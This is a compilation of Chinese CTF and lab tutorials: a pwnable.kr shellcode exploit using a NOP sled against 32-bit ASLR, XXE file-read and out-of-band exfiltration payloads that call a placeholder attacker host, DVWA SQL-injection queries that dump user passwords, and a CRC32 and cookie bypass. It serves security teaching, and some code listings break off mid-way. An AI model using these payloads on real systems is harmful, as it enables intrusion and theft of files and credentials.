CTF 一次PWN解题的小技巧
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 前几天在国外的某个ctf社区发现了一道好玩的赛题。 建议ctfer在阅读这篇文章的时候,首先要掌握以下的一些内容,因为这些东西对于ctf比赛来说,都是很有必要掌握的。 基本的Linux知识 对于X86有基本的了解 了解堆栈工作原理 C语言的基本知识 了解缓冲区溢出漏洞的原理 基本的python开发能力 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814131600001  (CTF PWN进阶训练实战,尝试溢出一个URL解码程序。) 计算机字节和shell的魅力 我第一次接触到网络安全编程时,我就已经发现开发其实是一门艺术,并且研究员需要很高的水平才能胜任这一工作,因为很多时候你需要各种领域的知识进行结合。例如。C语言、汇编、堆栈、利用python进行漏洞开发利用等,当然,这些只是冰山一角。 对于一个刚进入漏洞利用开发领域的小白来说,这可能是很难的,因为这是一个从零开始进行积累的过程。 作为一名小菜鸡,我决定先挑战这个网站的最简单的pwn赛题。别问为什么,问就是别的试题太难了。   进入正题 让我们先进入SSH! ssh [tiny_easy@pwnable.kr](mailto:tiny_easy@pwnable.kr) -p2222 (对于Windows用户,我强烈推荐使用xshell,它是一款很好上手的软件,可用于处理ssh会话并轻松下载软件) 在ssh内,我们运行“ ls”命令,仅找到一个二进制文件和我们的flag文件,由于我们没有任何权限,因此无法进行读取。 我们先下载二进制文件并对其进行一些检查:先使用“ file”命令进行查看。该命令可以让我们查看二进制文件的详细信息,包括其体系结构,位数(x64与x32)和其他很多的细节。 从输出的内容中我们可以看到,该文件是x86体系结构的32位ELF文件,并且是静态链接的。 可是等等… 注意这个细节! 让我们运行这个二进制文件,看看会发生什么情况: 从二进制文件具有损坏的header并且在执行时崩溃的情况可以看出,我们猜测现在这个二进制文件可能与通常我们看到的文件有所不同。 让我们在ida中打开二进制文件并检查代码 这可能是我见过的最简短的文件了,整个程序只有4条指令。 我们从栈中执行两个pop指令,从edx指向的地方取值,然后跳转到它。 但是等等......这个程序中没有进行任何调用,那么哪些值是从栈中弹出的呢? 我们还是用gdb来检查一下吧! 看一下堆栈,我们看到eax将接收值1,而edx将接收指向该字符串的指针 “/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,这就是我们的二进制文件的路径! 如果继续执行直到调用edx,我们就会明白为什么我们之前会收到段错误的原因了。 这个程序会试图跳转到地址0x6d6f682f,这对应字符串"/hom "的值。它是我们的二进制文件路径的一部分。  我们继续运行我们的程序,参数分别为test1 test2 test3。我们可以通过在gdb中运行以下命令来达到这一目的。 run test1 test2 test3   我们可以看到,现在堆栈已经发生了变化,现在我们的堆栈中有参数,并且堆栈顶部的值已从0x1更改为0x4。 还记得大一学的C语言中,main函数是如何接收输入的吗? Int main(int argc, char * argv [], char * envp) main中的argv [0]始终指向当前二进制文件的路径,argv [1] argv [2]等将包含我们输入的参数。 为了能够成功跳转到所需的位置,我们需要控制argv [0]的值。如果它不是我们输入的参数,我们该如何控制argv [0]呢?  下面隆重介绍一个在神奇的库文件 -- pwnlib,Pwnlib是一个python库,它使我们能够轻松的和进程进行通信。 pwnlib.tubes.process允许我们创建自己的进程并控制它的不同参数(argv,envp)等等。  我编译了以下的代码片段来展示pwnlib的简单使用方式: int main(int argc, char * argv[]) { printf("\nthis is our argv[0] %s\n", argv[0]); } 当我编译运行它的时候,得到了以下的结果。 我们可以使用pwnlib将argv [0]修改为我们自己的字符串, from pwnlib.tubes.process import * argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv() 现在,运行我们的python程序,看看我们从test_argv程序中能得到什么结果: NICE ! 现在,我们知道如何控制argv0参数了,这意味着我们可以在tiny_easy二进制文件中的任意位置进行跳转。 下一步是检查此二进制文件的安全属性,让我们运行checksec命令看看效果: RELRO:这里没有RELRO保护; 堆栈:未发现堆栈canary机制; NX: NX已禁用; PIE: 无 PIE; 注意:默认情况下,ASLR在堆栈中是启用状态。 NX保护是一种保护机制,它不允许我们在二进制的代码部分运行代码,这意味着我们不能跳转到栈或堆上的代码来运行它们。 在这个例子中,我们可以看到这个二进制文件是在没有保护的情况下进行编译的,这意味着我们可以跳转到堆上的代码。 这里需要强调一点的是:你如果一开始就直接检查这类保护,整个过程会给你节省很多时间。 在这个例子中,因为我们无法控制返回的地址,而且NX被禁用,那么我们最好的选择就是集中精力找到一种方法跳转到栈上,并执行我们存储在某个参数中的shellcode。 同时,另一方面,如果NX被启用了,那么这意味着我们无法跳转到堆栈,我们需要找到一种不同的方式来运行我们的代码(ret2libc等许多其他方法)。 现在我们可以控制我们要跳转的位置了,同时我们需要处理ASLR在堆栈层已经被启用这个问题。 我们可以尝试找一条允许我们跳转到堆栈的指令,然后运行我们的shellcode,程序中的其余字节是elf头的一部分。 我们也可以使用“ C”快捷键在IDA中查看这些字节的指令。 看来我们最好使用的指令是 "jmp esp"。这个指令将会跳转到堆栈,在那里我们能够得到我们存储在参数中的shellcode。 我喜欢手动进行搜索,所以我用online disassembling 来查找jmp esp指令由哪些操作码组成。 如果我们尝试反汇编jmp esp,那么得到的结果是:ff e4 我们尝试使用search-> bytesequence在IDA中搜索此字节。 what? 没结果?  我试着搜索调用esp的字节,却什么也没找到 ! 这就郁闷了! 我们想跳转到堆栈上的代码,但是由于ASLR的存在,我们不知道要跳转到什么地址。 我们尝试找到一个指令,让我们在不知道地址的情况下跳转到堆栈,但我们没有找到任何指令。 我尝试了另一个骚操作:跳转到一个允许你向代码部分写入字节的指令。 你可以尝试用这个方法:用jmp esp操作码覆盖其中的一条指令的地址,然后跳转到该指令的地址。 这个过程就像开火车一样,边开边建轨道。 不幸的是,当我用view->Open subviews->segments看看有哪些段的权限的时候,发现了以下的内容。  代码部分仅启用了R和X权限 R-读取权限 X-执行权限 W(写)权限被禁用。 这意味着,如果我们重写代码部分的指令,程序就会崩溃。 我在这个程序上已经用了好几个小时了,尝试了不同的跳转指令的方法,但是我找不到进入栈的方法。 然后,what should I do?  32位的ASLR 我开始尝试查阅32位系统上的ASLR的实现原理(特别强调,我们的二进制文件是32位的)。我找到了下面的解释: "对于32位,有2^32 (4 294 967 296)个地址,然而,内核只允许一半的比特位(2^(32/2)=65 536)在虚拟内存中执行"。 这意味着堆栈的大小可以调整到65,536个字节。 如果我们可以控制数万个shellcode字节,那么我们就可以尝试在堆栈中跳转到一个固定的地址,这样就会有很高的成功率。 下面我检查了一下是否可以用长字符串发送大量的参数。 from pwnlib.tubes.process import * for i in range(600): argv.append("a"*1024) argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv() 在本例中,我们向程序发送了6014400个字节并成功运行。 我们可以传递我们的参数来填满nops,最后发送我们的shellcode。 这样,我们就可以跳转到堆栈上的一个随机地址,希望能够落在我们的nop指令上,然后我们就会一路滑向我们的shellcode。  我写了以下的代码,尝试执行程序。 我们在这里尝试跳转到堆栈上的一个恒定地址:0xffb05544,选择这个地址有两个原因。 1.在这个程序中,我注意到在用gdb执行了很多次之后,这个地址大部分时间都在堆栈的范围内或者非常接近堆栈的范围 。 2.我们需要一个没有任何null字节的地址,否则我们会得到 一个异常:"Inappropriate nulls in argv[0]:" 所以我写了以下代码:  import struct import random from pwnlib.tubes.process import * from pwnlib.exception import * import pwnlib EXECV = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" def build_shellcode(address): """ Build shellcode address - address  这段代码会运行tiny_easy二进制文件并跳转到我们的shellcode,从而打开一个shell。如果我们成功了,那么我们将能够发送命令"echo we_made_it",看看它的输出。 说干就干! 成功了!现在我们来CTF服务器上检查一下。 请注意,我们需要将我们执行的命令从"echo we_made_it "改为 "cat /home/tiny_easy/flag ",这样就得到了flag。 我们可以使用 "scp "命令轻松地将我们的脚本上传到服务器的tmp目录下,就像这样。 scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py    终于拿到了我们的flag ! 总结 行文至此,本次测试也就结束了!文章略长,简单做个总结: 在本文中,我们通过使用CTF示例讨论了漏洞利用开发的过程,我们了解了程序如何从argv和argc接收输入的参数。最后,了解了由于较小的随机范围,32位系统中的ASLR为何容易受到攻击,以及如何利用此漏洞进行攻击。   这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
从一道题目学习XXE漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78  (通过该实验了解XXE漏洞的基础知识及演示实践。) 0x01.xxe漏洞 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。 0x02.xml定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。 0x02.xml的作用 XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。基本语法 所有 XML 元素都须有关闭标签。 XML 标签对大小写敏感。 XML 必须正确地嵌套。 XML 文档必须有根元素。 XML 的属性值须加引号。 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是&lt;,>符号对应的实体就是&gt;) XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。(<!-- -->) 在 XML 中,空格会被保留,多个空格不会被合并为一个。 示例如下: <?xml version="1.0" encoding="UTF-8"?> <!-- ⬆XML声明⬆ --> <!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]> <!-- ⬆文档类型定义(DTD)⬆ --> <元素名称 category="属性"> 文本或其他元素 </元素名称> <!-- ⬆文档元素⬆ --> 0x03.xml格式说明 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]><!--文档类型定义--> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Onl 0x04.DTD 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例 1.外部DTD <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Only test!</body> </note><!--文档元素--> test.dtd <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> 0x05.DTD数据类型 PCDATA的意思是被解析的字符数据/ PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本 CDATA的意思是字符数据 CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。 0x06.DTD实体介绍 1.内部实体 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ELEMENT note (name,pwd)> <!ENTITY name "admin"> <!ENTITY pwd "admin"> ]> <note> <name>&name;</name> <pwd>&pwd;</pwd> </note><!--文档元素--> 结果如下: 2.外部实体 <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ENTITY user SYSTEM "test.xml"> ]> <note>&user;</note><!--文档元素--> 3.参数实体+外部实体 test.xml <?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ENTITY % user "admin"> <!ENTITY % pwd "admin"> <!ENTITY % ljpm SYSTEM "./dddd.dtd"> %ljpm; ]> <note>&people;</note><!--文档元素--> dddd.dtd <!ENTITY people "%user;%pwd;"> PS: %name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。XXE主要是利用了DTD引用外部实体导致的漏洞。 0x07.怎么判断网站是否存在XXE漏洞 最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞。 0x08.示例如下: 1.实验环境 SpecialOrder 2.分析 首页登录试验环境将会被重定向到一个登录界面: 环境有个注册选项,我们先注册一个用户,然后登录: 首页的右上角有几个路由,代表几个功能,我们可以一一尝试。在http://192.168.153.128:5000/create-post url下有一个类似于博客的提交框,可能存在存储性的xss 尝试了一下,不存在xss 在http://192.168.153.128:5000/customize 我们可以为上面我们创建的帖子添加样式: 添加样式后的结果如下: 从上面的结果来看我们可以自定义帖子的css样式参数: * { font-size: 51px; color: red; } 至于上面的51px;为什么不是50px;我也不知道QAQ。这个环境就只有两个功能,上面那个发帖子的功能和这个修改样式的功能,发帖子功能大概没什么bug,唯有这个修改样式的比较可疑。我们可以通过burpsuite抓包分析一下。 发送的数据类型是Content-Type: application/json 。我们将其改成Content-Type: application/xml ,看看接不接受xml。 通过其返回没有报错,因此判断是支持xml的,刷新一下页面进一步验证: 现在我们尝试进行xml注入: 结果如下: 接下来就是读取flag.txt文件(环境没有添加flag.txt),最后的payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///app/flag.txt"> ]> <root> <color>&file;</color> <size>40px</size> </root> 0x09.Special Order pt2 0x41414141 CTF的一道题目该题是上一题的进化版(没有环境),允许加载外部的dtd文件,因此payload如下:发送xml请求 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag.txt"> <!ENTITY % xxe SYSTEM "http://ip/payload.dtd"> %xxe; ]> <root> <color>&send;</color> <size>40px</size> </root> 在我们的服务器上 <!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>"> %all; 0x08环境中代码有问题的部分 elif request.content_type == "application/xml" or request.content_type == "text/xml": print(request.data) parser = etree.XMLParser() k = etree.fromstring(request.data, parser) post_color = "" post_size = "" w = "" for i in k.getchildren(): if i.tag == "color": post_color = i.text elif i.tag == "size 没有过滤造成的。 0x0A.防御方法: 禁用外部实体 过滤和验证用户提交的XML数据 不允许XML中含有任何自己声明的DTD 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
sql注入实战篇
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天要介绍的是SQL注入实验。SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。 首先我们先进入实验地址https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001。 SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。以Sql注入产生的直接原因是拼凑SQL,绝大多数程序员在做开发的时候并不会去关注SQL最终是怎么去运行的,更不会去关注SQL执行的安全性,正是有了这种懒惰的程序员SQL注入一直没有消失。这种漏洞不是不可以避免,只是程序员没有这种 对于注入漏洞来说,可能现在很多人认为它已经过时,因为这种漏洞可以被参数化查询而杜绝。以前对这种漏洞的防御方式主要有三种: 字符串检测:限定内容只能由英文、数字等常规字符,如果检查到用户输入有特殊字符,直接拒绝。但缺点是,系统中不可避免地会有些内容包含特殊字符,这时候总不能拒绝入库。 字符串替换:把危险字符替换成其他字符,缺点是危险字符可能有很多,一一枚举替换相当麻烦,也可能有漏网之鱼。 存储过程:把参数传到存储过程进行处理,但并不是所有数据库都支持存储过程。如果存储过程中执行的命令也是通过拼接字符串出来的,还是会有漏洞。 我们还是来实践吧,这样更好理解。 我们先看一下实验的大致思路 (1)找注入并确认(经典的and 1=1 and1=2) (2)查询基本信息(数据库类型、数据库名、应用程序类型以及系统类型) (3)查表名、字段名,拿到想查询的内容 首先我们看一下源码 这就是这一段sql查询语句造成了最常见的SQL注入。我们继续实验,这次利用到了dvwa,我们登录dvwa然后选择SQL Injection 底下难度选择low。 先进行sql注入的第一步测试是否存在sql注入漏洞。 ID等于1的时候可以正常回显 And 1=1可以正常回显 And 1=2返回错误 这里直接返回了首页,和and 1=1返回的页面不一样。这里存在SQL注入。 为什么这样就判断有sql注入了呢?原理是把测试语句代入到了数据库查询,and就是逻辑运算,1=1为真,1=2为假,所以返回不同。 好我们接下来进行第二步判断字段数,order by 2返回正常order by 3返回错误。 字段数已经判断出来,下面如何进一步判断数据库名和用户名等基本信息。 利用语句查询知道有两个字段,接着查询数据库名和用户。 查询数据库等基本信息。 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 这是直接返回了数据库的usr database version。我们知道数据库的名字不就可以利用查询语句找到表的名字。 查询表段 union select 1,table_name from information_schema.tables where table_schema=0x64767761(数据库的十六进制) 查询列名 union select 1,column_name from information_schema.columns where table_name=0x7573657273(表的十六进制) and table_schema=0x64767761(数据库的十六进制) 查询用户名密码 union select password,user from users 这就把用户名跟密码爆出来了。 sql注入还不止这点,还有很多类型: 1)注入分为哪几种类型?分类依据是什么?是否唯一? 2)普通注入和盲注的区别是什么?利用方法有什么不同? 本次的实验就介绍到这里,注意多加总结和思考课后问题!我们学习的目的除了了解之外,更重要的是学习如何防范SQL注入。在面对SQL注入攻击的时候,了解其原理才能更好的防范。 下面总结几点防范SQL注入攻击的要点: 1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。 2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。 3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。 5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。 这个技术你学会了吗?加入https://www.yijinglab.com/loginLab.do#stu,1300+网安技能任你学!
CTF训练之OneWayIn
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 上次的题目counting star领悟透了吗?这次再介绍一道CTF真题吧,本次题目名称是onewayin,会用到代码解密等方面的知识。 今天介绍的CTF题目很有意思的。进入实验链接 https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714465400001,进入实验机操作。实验地址10.1.1.82。 你看到这个界面可以想到些什么呢?我们看到web题肯定首先就是看源码啊。 查看源码发现: 我们来分析一下这个源码。这里说: 当0_usename=0_pwd的时候输出f1() Crc32(0_usename)=Crc32(0_pwd)的时候输出f2() 不然就f3,东哥这里两个字符串的32位CRC相等需要输入的字符串相同吧,这不是跟前面的f1()判断冲突了吗? 这就不知道吧,我们这里是需要利用CRC32函数的一个缺陷,抓包把参数改成数组并且用户名和密码的值不同,如下图: 这样就可以绕过crc32函数了吗?对,不信的话,我们来试验一下把这个数据放至Repeater模块里, 点击go你会发现出现了不同的东西, 再点击跟随跳转, 然后再点击一次跟随跳转, 这出来好多十六进制,当然我们不能只看返回啊,看一下url那里是不是有一个base64编码。 我们把这个base64解密一下居然是test.txt,这里是file=多少。哇,那我们是不是可以进行文件读取。 我们可以试一下,看看能不能读index.php的源码,先把index.php编码, 把编码之后的替换到刚才url参数的位置并点击go。 看上去好像没什么东西啊?就一个<?php没什么用啊。仔细观察的话,可以看见还有一个num参数。改一下这个num参数试一试,感觉应该是解题关键了。我们试一下返回了一些代码,我估计这里的num是表示显示多少行的函数。 果然提交不同的num参数会显示不同的源代码的行(num的值为1的时候显示index.php的第一行源代码)这底下是我记录的代码。 我们分析一下代码根据源码的提示想要访问flag.php,cookie必须有role_cookie这项,并且值为flagadmin。 直接在抓包文件上面构造一个cookie= flagadmin,我们按照这个来读取一下flag.php,这好像乱码了。 不要急,我们可以用curl这个工具把源码下载下来 这打开还是乱码? 嗯...不要急,把这个丢进php环境里看一下会运行出什么。 这是一串base64的编码,我们操作解密一下就知道了,base64解密之后发现flag。 这次的题目也颇有难度,CTF的每一道题感觉都要花不少功夫啊!当然,孰能生巧,熟练掌握这道题的解题技巧,下次碰到类似的题目可以节省很多时间。这道题利用函数缺陷,抓包,提交,解码等过程,都需要熟练掌握才能解题! 这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!